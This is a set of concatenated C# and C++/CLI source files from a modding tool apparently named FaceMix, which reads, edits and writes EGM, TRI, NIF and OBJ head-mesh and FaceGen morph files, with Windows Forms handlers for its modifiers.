EGMFile() { this.version = "000"; this.verticeCount = 0; this.symSize = 0; this.asymSize = 0; this.dateStamp = 0; this.unknown = new int[10]; this.symMorphs = new List<EGMMorphset>(); this.asymMorphs = new List<EGMMorphset>(); } public EGMFile(EGMFile file) { this.version = file.version.Clone() as string; this.verticeCount = file.verticeCount; this.symSize = file.symSize; this.asymSize = file.asymSize; this.dateStamp = file.dateStamp; this.unknown = new int[file.unknown.Length]; for (int i = 0; i < file.unknown.Length; i++) this.unknown[i] = file.unknown[i]; this.symMorphs = new List<EGMMorphset>(); foreach (EGMMorphset morph in file.SymMorps) { this.symMorphs.Add(new EGMMorphset(morph)); } this.asymMorphs = new List<EGMMorphset>(); foreach (EGMMorphset morph in file.asymMorphs) { this.asymMorphs.Add(new EGMMorphset(morph)); } } public EGMFile(FileStream stream) { BinaryReader reader = new BinaryReader(stream); reader.ReadBytes(5); byte[] bytes = new byte[2]; bytes[0] = reader.ReadByte(); StringBuilder bld = new StringBuilder(); bld.Append(BitConverter.ToChar(bytes, 0)); bytes[0] = reader.ReadByte(); bld.Append(BitConverter.ToChar(bytes, 0)); bytes[0] = reader.ReadByte(); bld.Append(BitConverter.ToChar(bytes, 0)); this.version = bld.ToString(); this.verticeCount = reader.ReadInt32(); this.symSize = reader.ReadInt32(); this.asymSize = reader.ReadInt32(); this.dateStamp = reader.ReadUInt32(); this.unknown = new int[10]; for (int i = 0; i < 10; i++) this.unknown[i] = reader.ReadInt32(); this.symMorphs = new List<EGMMorphset>(); for (int i = 0; i < this.symSize; i++) { EGMMorphset morph = new EGMMorphset(); morph.Unknown = reader.ReadBytes(4); for (int j = 0; j < this.verticeCount; j++) { VertexDisplacement data = new VertexDisplacement(reader); morph.Add(data); } this.symMorphs.Add(morph); } this.asymMorphs = new List<EGMMorphset>(); for (int i = 0; i < this.asymSize; i++) { EGMMorphset morph = new EGMMorphset(); morph.Unknown = reader.ReadBytes(4); for (int j = 0; j < this.verticeCount; j++) { VertexDisplacement data = new VertexDisplacement(reader); morph.Add(data); } this.asymMorphs.Add(morph); } } public void Append(List<int> verticeIndexes,EGMFile referenceFile) { this.verticeCount += verticeIndexes.Count; for (int i = 0; i < this.SymSize; i++) { List<VertexDisplacement> extraData = new List<VertexDisplacement>(); for(int j = 0;j < verticeIndexes.Count; j++) extraData.Add(referenceFile.SymMorps[i][verticeIndexes[j]]); this.symMorphs[i].AddRange(extraData.ToArray()); } for (int i = 0; i < this.AsymSize; i++) { List<VertexDisplacement> extraData = new List<VertexDisplacement>(); for (int j = 0; j < verticeIndexes.Count; j++) { extraData.Add(referenceFile.AsymMorps[i][verticeIndexes[j]]); } this.asymMorphs[i].AddRange(extraData.ToArray()); } } public void WriteToFile(FileStream stream) { BinaryWriter writer = new BinaryWriter(stream); writer.Write(BitConverter.GetBytes('F')[0]); writer.Write(BitConverter.GetBytes('R')[0]); writer.Write(BitConverter.GetBytes('E')[0]); writer.Write(BitConverter.GetBytes('G')[0]); writer.Write(BitConverter.GetBytes('M')[0]); foreach (char ch in this.version) { writer.Write(BitConverter.GetBytes(ch)[0]); } writer.Write(this.verticeCount); writer.Write(this.symSize); writer.Write(this.asymSize); writer.Write(this.dateStamp); foreach (int nr in this.unknown) { writer.Write(nr); } foreach (EGMMorphset morph in this.symMorphs) { morph.Write(writer); } foreach (EGMMorphset morph in this.asymMorphs) { morph.Write(writer); } } } } <file_sep>/FaceMix/ReplaceFaceGenMorph.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using FaceMix.Base; using FaceMix.Core; using FaceMix.Wrappers; namespace FaceMix { [Modifier("Replace FaceGen Morph")] public class ReplaceFaceGenMorph : AbstractMorphModifier { private ReplaceFaceGenMorphcontrol menu; private HeadFile target; private MeshBase reference; public override event AbstractModifier.Ready WhenReady; private bool applied; private string targetMorph; private double accuracy; private List<int> ignoreList; public ReplaceFaceGenMorph() { this.menu = new ReplaceFaceGenMorphcontrol(); this.menu.targetMorphComboBox.TextChanged += new EventHandler(targetMorphComboBox_TextChanged); this.menu.accuracyNumericUpDown.ValueChanged += new EventHandler(accuracyNumericUpDown_ValueChanged); this.menu.openOBJFileButton.Click += new EventHandler(openOBJFileButton_Click); this.menu.applyButton.Click += new EventHandler(applyButton_Click); this.menu.openIgnoreListbutton.Click += new EventHandler(openIgnoreListbutton_Click); this.menu.clearIgnoreListButton.Click += new EventHandler(clearIgnoreListButton_Click); this.applied = false; this.accuracy = (double)this.menu.accuracyNumericUpDown.Value; this.ignoreList = new List<int>(); } void clearIgnoreListButton_Click(object sender, EventArgs e) { this.ignoreList.Clear(); this.menu.ignoreListTextBox.Clear(); } void openIgnoreListbutton_Click(object sender, EventArgs e) { OpenFileDialog open = new OpenFileDialog(); open.Filter = "Text Files (*.txt)|*.TXT|" + "All files (*.*)|*.*"; if (open.ShowDialog() == DialogResult.OK) { StreamReader reader = new StreamReader(new FileStream(open.FileName, FileMode.Open)); string text = reader.ReadToEnd().Replace("\r", ""); string[] result = text.Split(new char[] { '\n', ' ', ',' }, StringSplitOptions.RemoveEmptyEntries); List<int> buff = new List<int>(); //bool warning = false; foreach (string str in result) { try { buff.Add(int.Parse(str)); } catch (Exception) { //warning = true; } finally { reader.Close(); } } this.ignoreList.AddRange(buff); StringBuilder bld = new StringBuilder(); foreach (int nr in buff) { bld.Append(nr.ToString() + " , "); } this.menu.ignoreListTextBox.Text = bld.ToString(); } } void applyButton_Click(object sender, EventArgs e) { if(this.WhenReady != null) this.WhenReady(this, new EventArgs()); } void openOBJFileButton_Click(object sender, EventArgs e) { OpenFileDialog open = new OpenFileDialog(); open.Filter = "OBJ Files (*.obj)|*.obj|" + "Nif Files (*.nif)|*.nif|" + "All files (*.*)|*.*"; if (open.ShowDialog() == DialogResult.OK) { try { if(open.FileName.ToLower().EndsWith(".obj")) { FileStream stream = new FileStream(open.FileName, FileMode.Open); OBJFile objFile = new OBJFile(stream); this.reference = objFile.Mesh; stream.Close(); this.menu.referenceTextBox.Text = open.FileName; return; } if (open.FileName.ToLower().EndsWith(".nif")) { FileStream stream = new FileStream(open.FileName, FileMode.Open); NifFile nifFile = new NifFile(stream); this.reference = nifFile.MeshData[0]; stream.Close(); this.menu.referenceTextBox.Text = open.FileName; return; } } catch (Exception) { } } } void accuracyNumericUpDown_ValueChanged(object sender, EventArgs e) { this.accuracy = (double)this.menu.accuracyNumericUpDown.Value; } void targetMorphComboBox_TextChanged(object sender, EventArgs e) { this.targetMorph = this.menu.targetMorphComboBox.Text; } public override string Name { get { return "Replace FaceGen Morph"; } } public override HeadFile Apply(HeadFile target) { throw new NotImplementedException(); } public override UserControl Menu { get { return this.menu; } } public override ListViewItem ToListViewItem(int index) { ListViewItem ret = new ListViewItem(index.ToString()); if (this.applied == false) { ret.SubItems.Add("Replace FaceGen Morph"); ret.SubItems.Add("Target morph: Not Applied"); } else { ret.SubItems.Add("Replace FaceGen Morph"); ret.SubItems.Add("Target morph: " + this.targetMorph); } return ret; } public override string Properties { get { return "Target Morph: " + this.targetMorph; } } public override HeadFile Apply() { if (this.reference == null || this.targetMorph == null) return this.target; if(this.reference.Vertices.Count != this.target.TRI.Header.VertexCount) return this.target; if(!(this.targetMorph.StartsWith("SYM") || this.targetMorph.StartsWith("ASYM"))) return this.target; List<VertexDisplacement> morphList = this.CalculateDisplacements(this.target.TRI.Vertices, this.reference.Vertices, this.ignoreList, this.accuracy); HeadFile ret = new HeadFile(this.target); try { int number = int.Parse(this.targetMorph.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries)[1]); if (this.targetMorph.StartsWith("SYM")) { for (int i = 0; i < ret.TRI.Header.VertexCount; i++) ret.EGM.SymMorps[number][i] = morphList[i]; //ret.EGM.SymMorps[number].Unknown = BitConverter.GetBytes(((float)(scale))).Reverse<byte>().ToArray<byte>(); } if (this.targetMorph.StartsWith("ASYM")) { for (int i = 0; i < ret.TRI.Header.VertexCount; i++) ret.EGM.AsymMorps[number][i] = morphList[i]; //ret.EGM.AsymMorps[number].Unknown = BitConverter.GetBytes(((float)(scale))).Reverse<byte>().ToArray<byte>(); } this.applied = true; } catch (Exception) { } return ret; } public override HeadFile Target { get { return this.target; } set { this.target = value; this.menu.targetMorphComboBox.Items.Clear(); if (this.target.EGM.SymMorps != null) { for (int i = 0; i < this.target.EGM.SymMorps.Count; i++) { this.menu.targetMorphComboBox.Items.Add("SYM " + i.ToString()); } } if (this.target.EGM.AsymMorps != null) { for (int i = 0; i < this.target.EGM.AsymMorps.Count; i++) { this.menu.targetMorphComboBox.Items.Add("ASYM " + i.ToString()); } } } } public override bool Applied { get { return this.applied; } } } } <file_sep>/FaceMixBase/OBJFile.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using FaceMix.Base; using FaceMix.Core; namespace FaceMix { public class OBJFile { private List<VertexPosition> vertices; private List<TriangleFace> triangleFaces; private List<QuadFace> quadFaces; private MeshBase mesh; public List<VertexPosition> Vertices { get { return this.vertices; } } public List<TriangleFace> TriangleFaces { get { return this.triangleFaces; } } public List<QuadFace> QuadFaces { get { return this.quadFaces; } } public MeshBase Mesh { get { return this.mesh; } } public OBJFile() { this.vertices = new List<VertexPosition>(); this.triangleFaces = new List<TriangleFace>(); this.quadFaces = new List<QuadFace>(); this.mesh = new MeshBase(); } public OBJFile(FileStream stream) { this.vertices = new List<VertexPosition>(); this.triangleFaces = new List<TriangleFace>(); this.quadFaces = new List<QuadFace>(); StreamReader reader = new StreamReader(stream); string text = reader.ReadToEnd(); text = text.Replace("\r", ""); text = text.Replace('.', ','); string[] lines = text.Split(new string[] { "\n" }, StringSplitOptions.RemoveEmptyEntries); foreach (string line in lines) { string[] words = line.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries); //if (words[0] == "v") //{ // float x = float.Parse(words[1]); // float y = float.Parse(words[2]); // float z = float.Parse(words[3]); // VertexPosition coord = new VertexPosition(x, y, z); // this.vertices.Add(coord); //} switch (words[0]) { case "v": float x = float.Parse(words[1]); float y = float.Parse(words[2]); float z = float.Parse(words[3]); VertexPosition coord = new VertexPosition(x, y, z); this.vertices.Add(coord); break; case "f": if (words.Length == 5) { int a4 = int.Parse(words[1].Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries)[0]); int b4 = int.Parse(words[2].Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries)[0]); int c4 = int.Parse(words[3].Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries)[0]); int d4 = int.Parse(words[4].Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries)[0]); QuadFace face4 = new QuadFace(a4, b4, c4, d4); this.quadFaces.Add(face4); break; } int a = int.Parse(words[1].Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries)[0]); int b = int.Parse(words[2].Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries)[0]); int c = int.Parse(words[3].Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries)[0]); TriangleFace face = new TriangleFace(a, b, c); this.triangleFaces.Add(face); break; } } this.mesh = new MeshBase(); this.mesh.QuadFaces = this.quadFaces; this.mesh.TriangleFaces = this.triangleFaces; this.mesh.Vertices = this.vertices; string[] path = stream.Name.Split(new char[] { '\\' }, StringSplitOptions.RemoveEmptyEntries); this.mesh.Name = HeadFile.ReplaceExtention(path[path.Length - 1],""); } } } <file_sep>/FaceMixWrappers/FaceMix.Wrappers.h // FaceMix.Wrappers.h #pragma once #include "niflib.h" #include "obj\niobject.h" #include "obj\nitrishapedata.h" #include "obj\nitrishape.h" #include "obj\nitristrips.h" #include "obj\nitristripsdata.h" using namespace System; using namespace System::Collections::Generic; using namespace System::IO; using namespace System::Text; using namespace FaceMix::Core; using Niflib::NiObject; using Niflib::NiTriShapeData; using Niflib::NiTriShapeDataRef; using Niflib::NiTriShape; using Niflib::NiTriShapeRef; using Niflib::NiObjectRef; using Niflib::Vector3; using Niflib::Triangle; using Niflib::Ref; using std::vector; using Niflib::NiGeometryData; using Niflib::NiTriStrips; using Niflib::NiTriStripsData; using Niflib::NiTriStripsRef; using Niflib::NiTriStripsDataRef; namespace FaceMix { namespace Wrappers { class NifContainer { public: std::vector< Niflib::Ref<Niflib::NiObject> > scene; NifContainer(char* tmp,int size); virtual ~NifContainer(); }; public ref class NifFile { // TODO: Add your methods for this class here. public: property List<MeshBase^>^ MeshData { List<MeshBase^>^ get() { return this->meshData; } void set(List<MeshBase^>^ x) { this->meshData = gcnew List<MeshBase^>(x); } } property List<unsigned char>^ BinaryData { List<unsigned char>^ get() { return this->binaryData; } void set(List<unsigned char>^ x) { this->binaryData = gcnew List<unsigned char>(x); } } NifFile(); NifFile(String^ name); NifFile(FileStream^ stream); NifFile(NifFile^ niffile); void WriteToFile(FileStream^ stream); virtual ~NifFile(); private: List<unsigned char>^ binaryData; List<MeshBase^>^ meshData; NifContainer* sceneWrapper; }; namespace Obsolete { public value class VertexPosition { public: VertexPosition(BinaryReader^ reader); void Write(BinaryWriter^ writer); property float X { float get() { return this->x; } void set(float _x) { this->x = _x; } } property float Y { float get() { return this->y; } void set(float _y) { this->y = _y; } } property float Z { float get() { return this->z; } void set(float _z) { this->z = _z; } } private: float x; float y; float z; }; public value class VertexDisplacement { public: VertexDisplacement(BinaryReader^ reader); void Write(BinaryWriter^ writer); property short X { short get() { return this->x; } void set(short _x) { this->x = _x; } } property short Y { short get() { return this->y; } void set(short _y) { this->y = _y; } } property short Z { short get() { return this->z; } void set(short _z) { this->z = _z; } } private: short x; short y; short z; }; } } } <file_sep>/FaceMixBase/TRIFile.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using FaceMix.Core; namespace FaceMix.Base { public class TRIFile { public static byte[] StringToBytes(string text) { byte[] ret = new byte[text.Length]; for (int i = 0; i < text.Length; i++) { ret[i] = BitConverter.GetBytes(text[i])[0]; } return ret; } public static string BytesToString(byte[] bytes) { byte[] ch = new byte[2]; StringBuilder bld = new StringBuilder(); for (int i = 0; i < bytes.Length; i++) { ch[0] = bytes[i]; bld.Append(BitConverter.ToChar(ch, 0)); } return bld.ToString(); } private TRIHeader header; private List<VertexPosition> vertices; private List<VertexPosition> modVertices; private List<TriangleFace> triFaces; private List<QuadFace> quadFaces; private List<UvVertexPosition> uvVertices; private List<UvTriangleFace> uvTriFaces; private List<TRIMorphData> morphs; private List<TRIModifierData> modifiers; public TRIHeader Header { get { return this.header; } set { this.header = value; } } public List<VertexPosition> Vertices { get { return this.vertices; } set { this.vertices = value; } } public List<VertexPosition> ModeVertices { get { return this.modVertices; } set { this.modVertices = value; } } public List<TriangleFace> TriFaces { get { return this.triFaces; } set { this.triFaces = value; } } public List<QuadFace> QuadFaces { get { return this.quadFaces; } set { this.quadFaces = value; } } public List<UvVertexPosition> UvVertices { get { return this.uvVertices; } set { this.uvVertices = value; } } public List<UvTriangleFace> UvFaces { get { return this.uvTriFaces; } set { this.uvTriFaces = value; } } public List<TRIMorphData> Morphs { get { return this.morphs; } set { this.morphs = value; } } public List<TRIModifierData> Modifiers { get { return this.modifiers; } set { this.modifiers = value; } } public TRIFile() { this.header = new TRIHeader(); this.vertices = new List<VertexPosition>(); this.modVertices = new List<VertexPosition>(); this.triFaces = new List<TriangleFace>(); this.quadFaces = new List<QuadFace>(); this.uvVertices = new List<UvVertexPosition>(); this.uvTriFaces = new List<UvTriangleFace>(); this.morphs = new List<TRIMorphData>(); this.modifiers = new List<TRIModifierData>(); } public TRIFile(TRIFile file) { this.header = new TRIHeader(file.header); this.vertices = new List<VertexPosition>(); foreach (VertexPosition data in file.vertices) { this.vertices.Add(data); } if (this.header.ModVertexCount > 0) { this.modVertices = new List<VertexPosition>(); foreach (VertexPosition data in file.modVertices) { this.modVertices.Add(data); } } this.triFaces = new List<TriangleFace>(); foreach (TriangleFace face in file.triFaces) { this.triFaces.Add(face); } this.quadFaces = new List<QuadFace>(); foreach (QuadFace face in file.quadFaces) { this.quadFaces.Add(face); } this.uvVertices = new List<UvVertexPosition>(); foreach (UvVertexPosition vert in file.uvVertices) { this.uvVertices.Add(vert); } this.uvTriFaces = new List<UvTriangleFace>(); foreach (UvTriangleFace uvFace in file.uvTriFaces) { this.uvTriFaces.Add(uvFace); } this.morphs = new List<TRIMorphData>(); foreach (TRIMorphData morph in file.morphs) { this.morphs.Add(new TRIMorphData(morph)); } if (file.header.ModifierCount > 0) { this.modifiers = new List<TRIModifierData>(); foreach (TRIModifierData mod in file.modifiers) { this.modifiers.Add(new TRIModifierData(mod)); } } } public TRIFile(FileStream stream) { BinaryReader reader = new BinaryReader(stream); this.header = new TRIHeader(reader); this.vertices = new List<VertexPosition>(); for (int i = 0; i < this.header.VertexCount; i++) { this.vertices.Add(new VertexPosition(reader)); } if (this.header.ModVertexCount > 0) { this.modVertices = new List<VertexPosition>(); for (int i = 0; i < this.header.ModVertexCount; i++) { this.modVertices.Add(new VertexPosition(reader)); } } this.triFaces = new List<TriangleFace>(); for (int i = 0; i < this.header.PolytriCount; i++) this.triFaces.Add(new TriangleFace(reader)); this.quadFaces = new List<QuadFace>(); for (int i = 0; i < this.header.PolyQuadCount; i++) this.quadFaces.Add(new QuadFace(reader)); this.uvVertices = new List<UvVertexPosition>(); for (int i = 0; i < this.header.UvVerticeCount; i++) { this.uvVertices.Add(new UvVertexPosition(reader)); } this.uvTriFaces = new List<UvTriangleFace>(); for (int i = 0; i < this.header.PolytriCount; i++) { this.uvTriFaces.Add(new UvTriangleFace(reader)); } this.morphs = new List<TRIMorphData>(); for (int i = 0; i < this.header.MorphCount; i++) { this.morphs.Add(new TRIMorphData(reader, this.header.VertexCount)); } if (this.header.ModifierCount > 0) { this.modifiers = new List<TRIModifierData>(); for (int i = 0; i < this.header.ModifierCount; i++) this.modifiers.Add(new TRIModifierData(reader)); } } public void WriteToFile(FileStream file) { BinaryWriter writer = new BinaryWriter(file); this.header.Write(writer); foreach (VertexPosition vert in this.vertices) { vert.Write(writer); } if(this.header.ModVertexCount > 0) foreach (VertexPosition vert in this.modVertices) { vert.Write(writer); } foreach (TriangleFace face in this.triFaces) { face.Write(writer); } foreach (QuadFace face in this.quadFaces) { face.Write(writer); } foreach (UvVertexPosition uvVert in this.uvVertices) { uvVert.Write(writer); } foreach (UvTriangleFace uvFace in this.uvTriFaces) { uvFace.Write(writer); } foreach (TRIMorphData morph in this.morphs) { morph.Write(writer); } if(this.header.ModifierCount > 0 ) foreach (TRIModifierData mod in this.modifiers) { mod.Write(writer); } } public void AppendModifier(List<int> vertexIndexes, TRIFile reference, string name) { if (this.header.ModVertexCount <= 0) this.modVertices = new List<VertexPosition>(); this.header.ModVertexCount += vertexIndexes.Count; foreach (int vertIndex in vertexIndexes) { this.modVertices.Add(reference.vertices[vertIndex]); } TRIModifierData mod = new TRIModifierData(); mod.NameSize = name.Length; mod.Name = name.Clone() as string; mod.DataSize = vertexIndexes.Count; foreach (int vertIndex in vertexIndexes) { mod.Add(vertIndex); } if (this.header.ModifierCount <= 0) this.modifiers = new List<TRIModifierData>(); this.modifiers.Add(mod); this.header.ModifierCount += 1; } } } <file_sep>/FaceMixBase/HeadFile.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using FaceMix.Wrappers; namespace FaceMix.Base { public class HeadFile { public static string ReplaceExtention(string file, string newExtension) { StringBuilder bld = new StringBuilder(file); int i = bld.Length - 1; while (bld[i] != '.' && bld.Length > 0) { bld.Remove(i, 1); i--; } bld.Append(newExtension); if (newExtension == "" && i != file.Length) bld.Remove(bld.Length - 1, 1); return bld.ToString(); } private EGMFile egm; private TRIFile tri; private NifFile nif; public EGMFile EGM { get { return this.egm; } set { this.egm = value; } } public TRIFile TRI { get { return this.tri; } set { this.tri = value; } } public NifFile Nif { get { return this.nif; } set { this.nif = value; } } public HeadFile() { } public HeadFile(HeadFile file) { this.tri = new TRIFile(file.TRI); this.egm = new EGMFile(file.EGM); this.nif = new NifFile(file.Nif); } public HeadFile(string fileName) { if (fileName.ToLower().EndsWith("egm")) { FileStream stream = new FileStream(fileName, FileMode.Open); this.egm = new EGMFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "tri"),FileMode.Open); this.tri = new TRIFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "nif"), FileMode.Open); this.nif = new NifFile(stream); stream.Close(); } if (fileName.ToLower().EndsWith("tri")) { FileStream stream = new FileStream(fileName, FileMode.Open); this.tri = new TRIFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "egm"), FileMode.Open); this.egm = new EGMFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "nif"), FileMode.Open); this.nif = new NifFile(stream); stream.Close(); } if (fileName.ToLower().EndsWith("nif")) { FileStream stream = new FileStream(fileName, FileMode.Open); this.nif = new NifFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "egm"), FileMode.Open); this.egm = new EGMFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "tri"), FileMode.Open); this.tri = new TRIFile(stream); stream.Close(); } } public void WriteToFile(string fileName) { if (fileName.ToLower().EndsWith("egm")) { FileStream stream = new FileStream(fileName, FileMode.Create); this.egm.WriteToFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "tri"), FileMode.Create); this.tri.WriteToFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "nif"), FileMode.Create); this.nif.WriteToFile(stream); stream.Close(); } if (fileName.ToLower().EndsWith("tri")) { FileStream stream = new FileStream(fileName, FileMode.Create); this.tri.WriteToFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "egm"), FileMode.Create); this.egm.WriteToFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "nif"), FileMode.Create); this.nif.WriteToFile(stream); stream.Close(); } if (fileName.ToLower().EndsWith("nif")) { FileStream stream = new FileStream(fileName, FileMode.Create); this.nif.WriteToFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "egm"), FileMode.Create); this.egm.WriteToFile(stream); stream.Close(); stream = new FileStream(HeadFile.ReplaceExtention(fileName, "tri"), FileMode.Create); this.tri.WriteToFile(stream); stream.Close(); } } } } <file_sep>/FaceMixBase/TRIMorphData.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using FaceMix.Core; namespace FaceMix.Base { public class TRIMorphData : List<VertexDisplacement> { private int nameSize; private string name; private byte scaleMinX; private byte scaleMinY; private byte scaleMinZ; private byte scaleMult; public int NameSize { get { return this.nameSize; } set { this.nameSize = value; } } public string Name { get { return this.name; } set { this.name = value; } } public byte ScaleMinX { get { return this.scaleMinX; } set { this.scaleMinX = value; } } public byte ScaleMinY { get { return this.scaleMinY; } set { this.scaleMinY = value; } } public byte ScaleMinZ { get { return this.scaleMinZ; } set { this.scaleMinZ = value; } } public byte ScaleMult { get { return this.scaleMult; } set { this.scaleMult = value; } } public TRIMorphData() : base() { this.nameSize = 0; this.name = ""; this.scaleMinX = 0; this.scaleMinY = 0; this.scaleMinZ = 0; this.scaleMult = 0; } public TRIMorphData(TRIMorphData morph) : base() { this.nameSize = morph.nameSize; this.name = morph.name.Clone() as string; this.scaleMinX = morph.scaleMinX; this.scaleMinY = morph.scaleMinY; this.scaleMinZ = morph.scaleMinZ; this.scaleMult = morph.scaleMult; foreach (VertexDisplacement data in morph) { this.Add(data); } } public TRIMorphData(BinaryReader reader, int size) : base() { this.nameSize = reader.ReadInt32(); byte[] bytes = reader.ReadBytes(this.nameSize); this.name = TRIFile.BytesToString(bytes); this.scaleMinX = reader.ReadByte(); this.scaleMinY = reader.ReadByte(); this.scaleMinZ = reader.ReadByte(); this.scaleMult = reader.ReadByte(); for (int i = 0; i < size; i++) { VertexDisplacement vert = new VertexDisplacement(reader); this.Add(vert); } } public void Write(BinaryWriter writer) { writer.Write(this.nameSize); writer.Write(TRIFile.StringToBytes(this.name)); writer.Write(this.scaleMinX); writer.Write(this.scaleMinY); writer.Write(this.scaleMinZ); writer.Write(this.scaleMult); foreach(VertexDisplacement vert in this) { vert.Write(writer); } } } } <file_sep>/FaceMix/AddEyeMorph.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using FaceMix.Base; namespace FaceMix { [Modifier("Add Eye Morph")] public class AddEyeMorph : AbstractModifier { private AddEyeMorphControl menu; private string modifierName; private List<int> vertexIndexes; private bool autodetect; private HeadFile referenceFile; private HeadFile targetFile; public override event AbstractModifier.Ready WhenReady; private bool applied; public AddEyeMorph() { this.menu = new AddEyeMorphControl(); this.menu.openVertexIndexesButton.Click += new EventHandler(openVertexIndexesButton_Click); this.menu.openReferenceFileButton.Click += new EventHandler(openReferenceFileButton_Click); this.menu.applyButton.Click += new EventHandler(applyButton_Click); this.menu.radioButton1.CheckedChanged += new EventHandler(radioButton1_CheckedChanged); this.menu.radioButton2.CheckedChanged += new EventHandler(radioButton2_CheckedChanged); this.autodetect = false; this.applied = false; this.targetFile = null; this.referenceFile = null; } void applyButton_Click(object sender, EventArgs e) { if (this.WhenReady != null) this.WhenReady(this, new EventArgs()); } void openReferenceFileButton_Click(object sender, EventArgs e) { OpenFileDialog open = new OpenFileDialog(); open.Filter = "Nif Files (*.nif)|*.nif|" + "EGM Files (*.egm)|*.egm|" + "TRI Files (*.tri)|*.tri|" + "All files (*.*)|*.*"; if (open.ShowDialog() == System.Windows.Forms.DialogResult.OK) { try { HeadFile nifFile = new HeadFile(open.FileName); if (nifFile.TRI.Header.VertexCount == this.targetFile.TRI.Header.VertexCount) { this.referenceFile = nifFile; if (this.autodetect == true) { this.AutoDetectVertices(); } } } catch (Exception) { return; } } } void radioButton2_CheckedChanged(object sender, EventArgs e) { if (this.menu.radioButton2.Checked == true) { this.autodetect = true; if (this.referenceFile != null && this.targetFile != null) this.AutoDetectVertices(); } } void radioButton1_CheckedChanged(object sender, EventArgs e) { if (this.menu.radioButton1.Checked == true) { this.autodetect = false; this.menu.openVertexIndexesButton.Enabled = true; } } void AutoDetectVertices() { if (this.referenceFile == null) return; if (this.targetFile == null) return; if (this.targetFile.TRI.Header.VertexCount != this.referenceFile.TRI.Header.VertexCount) { MessageBox.Show("Target file and reference file have different vertex count"); return; } List<int> buf = new List<int>(); float treshold = (float)this.menu.tresholdUpDown.Value; for (int i = 0; i < this.targetFile.TRI.Header.VertexCount; i++) { if (Math.Abs(this.referenceFile.TRI.Vertices[i].X - this.targetFile.TRI.Vertices[i].X) >= treshold || Math.Abs(this.referenceFile.TRI.Vertices[i].Y - this.targetFile.TRI.Vertices[i].Y) >= treshold || Math.Abs(this.referenceFile.TRI.Vertices[i].Z - this.targetFile.TRI.Vertices[i].Z) >= treshold) buf.Add(i); } this.vertexIndexes = buf; StringBuilder bld = new StringBuilder(); foreach (int nr in buf) { bld.Append(nr.ToString() + " , "); } this.menu.vertexIndexesTextBox.Text = bld.ToString(); } void openVertexIndexesButton_Click(object sender, EventArgs e) { OpenFileDialog open = new OpenFileDialog(); open.Filter = "Text Files (*.txt)|*.TXT|" + "All files (*.*)|*.*"; if (open.ShowDialog() == DialogResult.OK) { StreamReader reader = new StreamReader(new FileStream(open.FileName, FileMode.Open)); string text = reader.ReadToEnd().Replace("\r", ""); string[] result = text.Split(new char[] { '\n', ' ', ',' }, StringSplitOptions.RemoveEmptyEntries); List<int> buff = new List<int>(); //bool warning = false; foreach (string str in result) { try { buff.Add(int.Parse(str)); } catch (Exception) { //warning = true; } finally { reader.Close(); } } this.vertexIndexes = buff; StringBuilder bld = new StringBuilder(); foreach (int nr in buff) { bld.Append(nr.ToString() + " , "); } this.menu.vertexIndexesTextBox.Text = bld.ToString(); } } public override string Name { get { return "Add Eye Morph"; } } public override HeadFile Apply(HeadFile target) { throw new NotImplementedException(); } public override UserControl Menu { get { return this.menu; } } public override string Properties { get { return "Modifier Name: " + this.modifierName + ", Vertex Count: " + this.vertexIndexes.Count.ToString(); } } public override ListViewItem ToListViewItem(int index) { if (this.applied == true) { ListViewItem ret = new ListViewItem(index.ToString()); ret.SubItems.Add("Add Eye Morph"); ret.SubItems.Add("Modifier Name: " + this.modifierName.Substring(0,this.modifierName.Length - 1) + ", Vertex Count: " + this.vertexIndexes.Count.ToString()); return ret; } else { ListViewItem ret = new ListViewItem(index.ToString()); ret.SubItems.Add("Add Eye Morph"); ret.SubItems.Add("Modifier Name: " + "Not applied " + ", Vertex Count: 0"); return ret; } } public override HeadFile Apply() { if (this.targetFile == null) { //MessageBox.Show("No target file"); return this.targetFile; } if (this.referenceFile == null) { //MessageBox.Show("No reference file"); return this.targetFile; } if (this.vertexIndexes == null || this.vertexIndexes.Count == 0) { //MessageBox.Show("No vertex indexes"); return this.targetFile; } HeadFile ret = new HeadFile(this.targetFile); ret.EGM.Append(this.vertexIndexes, this.referenceFile.EGM); StringBuilder bld = new StringBuilder(this.menu.nameTextBox.Text); bld.Append("\0"); this.modifierName = bld.ToString(); ret.TRI.AppendModifier(this.vertexIndexes, this.referenceFile.TRI, bld.ToString()); this.applied = true; return ret; } public override HeadFile Target { get { return this.targetFile; } set { this.targetFile = value; if (this.autodetect == true) { this.AutoDetectVertices(); } } } public override bool Applied { get { return this.applied; } } } } <file_sep>/FaceMixCore/MeshData.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Text; using System.IO; namespace FaceMix.Core { public struct VertexPosition { private float x; private float y; private float z; public float X { get { return this.x; } set { this.x = value; } } public float Y { get { return this.y; } set { this.y = value; } } public float Z { get { return this.z; } set { this.z = value; } } public VertexPosition(float x, float y, float z) { this.x = x; 